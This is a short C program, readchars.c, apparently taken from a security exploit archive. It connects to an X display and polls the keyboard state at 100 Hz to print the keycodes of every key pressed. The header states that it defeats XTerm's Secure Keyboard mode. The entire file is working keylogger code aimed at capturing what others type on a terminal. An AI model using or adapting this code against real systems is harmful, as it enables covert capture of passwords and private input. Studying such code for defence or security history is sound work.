/*
  readchars.c

  Read everything typed on an X terminal you're allowed to connect to.
  (defeats XTerm's "Secure Keyboard" mode)

  Copyright (C) 1997 Christopher Creutzig
  http://www.redhat.com/archives/linux-security/1997-October/msg00010.html
  http://insecure.org/sploits/xsecurekeyboard_fequent_query.html

  Revised May 2013 by Daniel Richard G. <skunk@iSKUNK.ORG>

  Compile with "gcc -o readchars readchars.c -lX11"
*/

#include <X11/Xlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv)
{
	Display *disp;
	int i, j, changed;
	char *s;
	struct timeval shorttime;
	char keys[32];
	char lastkeys[32];

	s = getenv("DISPLAY");
	disp = XOpenDisplay(s);
	if (NULL == disp)
	{
		fprintf(stderr, "%s: can't open display %s\n", argv[0], s);
		exit(1);
	}

	for (i = 0; i < 32; i++)
	{
		keys[i] = 0;
		lastkeys[i] = 1;
	}

	printf("Keys pressed:");
	fflush(stdout);

	for (;;)
	{
		shorttime.tv_sec  = 0;
		shorttime.tv_usec = 10000;	/* 100 Hz */
		select(0, NULL, NULL, NULL, &shorttime);

		XQueryKeymap(disp, keys);

		changed = 0;
		for (i = 0; i < 32; i++)
		{
			if (keys[i] & ~lastkeys[i])
				changed = 1;
		}

		if (changed)
		{
			for (i = 0; i < 32; i++)
				for (j = 0; j < 8; j++)
					if ((keys[i] & (1 << j)) && ! (lastkeys[i] & (1 << j)))
						printf(" %d", 8 * i + j);
			fflush(stdout);
		}

		memcpy(lastkeys, keys, sizeof(keys));
	}

	XCloseDisplay(disp);

	return 0;
}